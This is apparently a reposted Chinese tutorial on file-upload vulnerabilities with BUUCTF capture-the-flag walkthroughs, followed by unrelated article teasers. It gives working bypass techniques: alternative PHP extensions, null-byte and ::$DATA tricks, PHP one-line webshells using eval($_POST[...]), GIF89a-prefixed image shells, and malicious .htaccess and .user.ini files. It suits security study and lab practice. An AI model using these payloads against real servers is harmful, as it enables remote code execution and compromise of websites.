文件上传漏洞+CTF实例

news2024/11/15 12:11:45

解题思路

前端绕过

手动修改前端js代码进行绕过:右击-查看页面源代码-ctf+f进行位置定位-修改JavaScript函数

后端绕过

  • 文件类型绕过(Content-Type)

常见MIME类型描述
application/octet-stream

表示所有其他情况的默认值

text/plain表示文本文件的默认值
text/html超文本标记语言
application/rtfRTF文件
image/gifGIF图形
image/pngPNG图形
image/jpegJPEG图形.jpeg
audio/basicau声音文件.au
audio/mid、audio/midiMIDI音乐文件.mid、.midi
audio/x-pn-realaudioRealAudio音乐文件.ra、.ram
video/mpegMPEG文件.mpg、.mpeg
video/x-msvideoAVI文件.avi
application/x-gzipGZIP文件.gz
application/x-tarTAR文件.tar

各种后缀名绕过

# 有许多后缀名不为php,但仍会默认解析为php的后缀扩展名列表。
## .php:
.php2, .php3, .php4, .php5, .php6, .php7, .phps, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
## .asp:
.aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
## .jsp:
.jspx, .jsw, .jsv, .jspf, .wss, .do, .action, 

# 大小写空格下划线双写绕过
.pHp .PHP .php(空) .php. .php_ .pphphp

# 利用Apache文件解析机制,从右往左开始解析文件后缀,若后缀名不可识别,则继续判断直到遇到可解析的后缀为止
.php.xxx

# windows文件流绕过
.php::$DATA
## 在磁盘中创建1.php时,先是创建了1.php::$DATA,两者本质相同,但对于黑名单来说两者不一样

文件内容检测与绕过

# 如果检测的是<?,可以尝试其他一句话木马
<script language="php">eval($_POST[123]); </script>
## &#x3C;&#x3F; == <?
## &lt;? == <?

# 如果检测文件头,可以在脚本开头添加图片对应的文件头
GIF89A?
<script language="php">eval($_POST[123]); </script>

# 如果利用getimagesize函数获取图片的宽高等信息,上传的不是图片,那么则获取不到信息。可以制作图片马
copy 1.jpg/b+1.php/a 2.jpg ## 1.jpg正常的图片,1.php里有一句话木马,生成2.jpg

.htaccess文件绕过

.htaccess本质为Apache配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录种放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录,管理相关目录下的网页配置。

使用方法:先上传.htaccess文件,写入以下内容;然后上传木马文件。

# .htaccess

## 当前目录以及子目录所有文件将会被当作php解析
SetHandler application/x-httpd-php 

## 匹配文件名(推荐)
<FileMatch "2.png">
    SetHandler application/x-httpd-php
</FileMatch>

## 或者指定扩展名,例如以png为后缀的文件当作php文件解析
AddType application/x-httpd-php .png

%00和00截断 

在url中%00表示ascii码中的0,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。

# get方式
直接修改 1.php => 1.php%00

# post方式
需要在bp中修改hex值,在1.php后添加一个hex值为00的字符

CTF实例

BUUCTF-ACTF2020新生赛upload1(后缀名绕过)

1.尝试上传一句话木马,发现页面弹窗:只能上传jpg,png,gif结尾的图片。前端修改绕过后然后用bp抓包,发现页面nonono bad file。尝试修改后缀名为php2,发现上传成功,但是用蚁剑连接发现返回数据为空。发现php6,php7也是这种情况。最终是.phtml成功连接

BUUCTF-极客大挑战2019-upload

1.尝试上传一句话木马文件,页面显示not image。bp抓包然后修改content-type为image/jpeg,页面显示not! php!,应该是内容检测,修改一句话木马和content-type,发现页面还是显示not php。

猜测源码:

1.先是检测content-type(若不是image/jpeg或image/png或image/gif就会显示not image)

2.修改content-type为image/jpeg,然后检测后缀名,(若是php,php2,php3,php4,php5则会显示not php)

3.修改后缀名为php6,发现显示NO! HACKER! your file included <?;',即是检测内容。

4.修改一句话木马为<script language="php">eval($_POST[1]);</script>,发现页面显示Don't lie to me, it's not image at all!!!

5.尝试在脚本前加文件头GIF89a?,上传成功。

2.访问网址/upload/1.php6,发现没有解析php,继续修改后缀名,发现用.phtml可以解析,最后用蚁剑连接成功,即可得到flag

BUUCTF-NewStarCTF2023-week2-Upload agin(.htaccess文件)

1.尝试上传一句话木马,用bp抓包,尝试修改后缀名为jpg和content-type为image/jpeg,显示这不还是php?。应该是内容检测,当修改后缀名为php.,同时内容改为<script language="php">eval($_POST['cmd'])</script>。发现上传成功了,但是蚁剑连接发现返回数据为空。

2.尝试先上传.htaccess文件,然后再上传木马文件,后缀名和内容同上。最后连接成功得到flag!!

# .htaccess文件的内容
SetHandler application/x-httpd-php

 

BUUCTF-SUCTF2019-CheckIn(.user.ini)

 1.尝试上传一句话木马,发现页面显示illegal suffix!,修改后缀名,发现.php.可以绕过;然后页面显示<? in contents!,修改一句话木马,页面显示exif_imagetype:not image!

exif_imagetype是一个函数,它读取一个图像的第一个字节并检查其签名

2.所以在一句话木马前加GIF89A可以绕过,上传成功。但是无法被php解析

  

3.这里看wp才发现要先上传一个user.ini文件,内容如下:

GIF89A
auto_prepend_file=1.php.

.user.ini是和.htaccess一样的目录配置文件,.user.ini就是用户自定义的一个.php.ini,我们可以利用这个文件来构造后门和隐藏后门。

.user.init中两个配置就是auto_prepend_file和auto_append_file,这个两个配置的意思就是:我们指定一个文件,那么该文件就会被包含在要执行的php文件中,相当于在php文件中插入一句:require 1.jpg

前提是含有.user.ini的文件夹下需要有正常的php文件

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

然后上传1.php.,内容如下:

GIF89A
<script language="php">system('cat /flag')</script>

 最后访问/uploads/065831472858248584ff4993846d5065/index.php可以得到flag

或者修改一句话木马,然后也是用上面的网址蚁剑连接

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2165699.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从HarmonyOS Next导出手机照片

1&#xff09;打开DevEco Studio开发工具 2&#xff09;插入USB数据线&#xff0c;连接手机 3&#xff09;在DevEco Studio开发工具&#xff0c;通过View -> Tool Windows -> Device File Browser打开管理工具 4&#xff09;选择storage -> cloud -> 100->fi…

在二维平面中,利用时差定位(TDOA)技术,结合N个锚点,通过三边法进行精确定位,采用MATLAB实现

文章目录 主程序程序代码运行结果 主程序 主程序代码如下&#xff1a; % TDOA测距定位&#xff0c;二维平面&#xff0c; 4个锚节点的情况 % author:Evand&#xff08;VX&#xff1a;matlabfilter&#xff0c;除前期达成一致外&#xff0c;讲解需付费&#xff09; % 2024年9月…

C语言扫盲

文章目录 C版本C语言特征GCCprintf数据类型函数指针内存管理void指针 Struct结构和Union结构typedef预处理器make工具cmake工具Projectintegral of sinc functionemulator embedded systeman event schedule 补充在线Linux终端参考 建议还是国外教材学习…人家的PPT比国内的好太…

RockTrack:A 3D Robust Multi-Camera-Ken Multi-Object Tracking Framework

RockTrack: A 3D Robust Multi-Camera-Ken Multi-Object Tracking Framework 基础信息 单位&#xff1a;哈尔滨理工大学论文&#xff1a;https://arxiv.org/pdf/2409.11749代码&#xff1a;https://github.com/lixiaoyu2000/Rock-Track (未全部放出)数据集&#xff1a;nuScen…

基于C++(FLTK)实现(CS界面)超市收银系统

超市收银系统 Supermarket POS system 本次大作业是利用 C语言&#xff0c;基于 FLTK 图形库来设计超市收银系统。首先介绍程序的设计思想&#xff1a; 这套程序完全是基于题目所给的要求逐条逐步设计的。我把程序实现大致分为数据层面和图形层面。 数据层面&#xff1a; 程…

神经网络(五):U2Net模型

文章目录 一、网络结构1.1第一种block结构1.2第二种block结构1.3特征图融合1.4损失函数1.5总体网络架构1.6代码汇总1.7普通残差块与RSU对比 二、代码复现 参考论文&#xff1a;U2-Net: Going deeper with nested U-structure for salient object detection   这篇文章基于显著…

钢管加工长度检测系统源码分享

钢管加工长度检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer…

笔试编程-百战成神——Day01

1.数字统计 题目来源&#xff1a;数字统计——牛客网 测试用例 算法原理 根据题目我们知道&#xff0c;首先要输出两个数字确定一个区间&#xff0c;寻找这个区间内数字中所有包含2的个数&#xff0c;比如12包含一个2,22包含两个2&#xff0c;以此类推&#xff0c;所以我们的…

问题记录:end value has mixed support, consider using flex-end instead

一、问题记录 二、解决问题 根据提示改为flex-end 三、理解问题 ‌这个警告信息表明&#xff0c;在Flex布局中使用“end”属性时存在兼容性问题&#xff0c;建议使用“flex-end”代替。 当在Flex布局中使用“justify-content: end;”时&#xff0c;浏览器可能对“end”值的支…

嵌入式C语言的自我修养:内存泄漏与防范

内存泄漏与防范 一个内存泄漏的例子 如果我们使用malloc()申请的内存在使用结束后没有及时被释放&#xff0c;则C标准库中的内存分配器ptmalloc和内核中的内存管理子系统都失去了对这块内存的追踪和管理。 #include <stdlib.h> int main(void){ char *p; p(char *)mal…

plt常用函数介绍一

目录 前言plt.figure()plt.subplot()plt.subplots()plt.xticks()plt.xlim() 前言 Matplotlib是Python中的一个库&#xff0c;它是数字的-NumPy库的数学扩展。 Pyplot是Matplotlib模块的基于状态的接口。在Pyplot中可以使用各种图&#xff0c;例如线图&#xff0c;轮廓图&#…

C++独立开发开源大数计算库 CBigNum

项目简介&项目地址 CBigNum 是本人独立开发开源的一款大数计算库&#xff0c;支持任意位数整数带任意位数小数的浮点运算。您可以通过本库执行非常大的数据运算或非常高精度的除法运算(您可以随意指定除法的小数保留到第几位)以及各种科学计算(详见1.3)。 项目地址&#…

数字电路基础(锁存器+触发器)+Proteus仿真

1.锁存器 1.1.基本概念 1.1.1基本双稳态电路 下面电路中&#xff0c;具有0、1两种逻辑状态&#xff0c;一旦进入其中一种状态&#xff0c;就能长期保持不变的单元电路称为双稳态存储电路&#xff0c;简称双稳态电路。 锁存器和触发器都属于双稳态电路 该双稳态电路没有输入…

【Godot4自学手册】第四十八节创建雨粒子效果

今天我们要利用GPU粒子节点玩雨粒子效果&#xff0c;下雨天。 一、添加GPU粒子系统 添加GPUParticles2D节点。选择根节点&#xff0c;单击添加按钮&#xff0c;选择GPUParticles2D&#xff0c;完成添加。 二、修改属性 1.设置粒子数量。 在GPUParticles2D检查器中将Amount设…

智慧城市主要运营模式分析

(一)运营模式演变 作为新一代信息化技术落地应用的新事物,智慧城市在建设模式方面借鉴了大量工程建设的经验,如平行发包(DBB,Design-Bid-Build)、EPC工程总承包、PPP等模式等,这些模式在不同的发展阶段和条件下发挥了重要作用。 在智慧城市发展模式从政府主导、以建为主、…

求一个数的因子数(c语言)

1.计算并输出给定整数n的所有因子&#xff08;不包括1与n自身&#xff09;之和。规定n的值不大于1000。&#xff08;因子是能整除n的数 即n%i0&#xff09; // 例如&#xff0c;在主函数中从键盘给n输入的值为856&#xff0c;则输出为: sum763。 2.第一步我们先输入n的数&…

C++深入学习string类成员函数(1):默认与迭代

引言 在 C 编程中&#xff0c;std::string 类是处理字符串的核心工具之一。作为一个动态管理字符数组的类&#xff0c;它不仅提供了丰富的功能&#xff0c;还通过高效的内存管理和操作接口&#xff0c;极大地方便了字符串操作。通过深入探讨 std::string 的各类成员函数&#…

【java21】java21新特性之简单的Web服务器jwebserver

jwebserver是Java 18中引入的一个全新功能点&#xff0c;它允许用户通过命令行工具快速启动一个提供静态资源访问的迷你Web服务器。这个服务器不支持CGI和Servlet&#xff0c;因此其主要用途是轻量级的静态文件服务&#xff0c;如HTML、CSS、JavaScript和图片等。 其实在如Pyt…

热源检测系统源码分享

热源检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vision …

大语言模型之LlaMA系列- LlaMA 2及LLaMA2_chat(上)

LlaMA 2是一个经过预训练与微调的基于自回归的transformer的LLMs&#xff0c;参数从7B至70B。同期推出的Llama 2-Chat是Llama 2专门为对话领域微调的模型。 在许多开放的基准测试中Llama 2-Chat优于其他开源的聊天模型&#xff0c;此外Llama 2-Chat还做了可用性与安全性评估。 …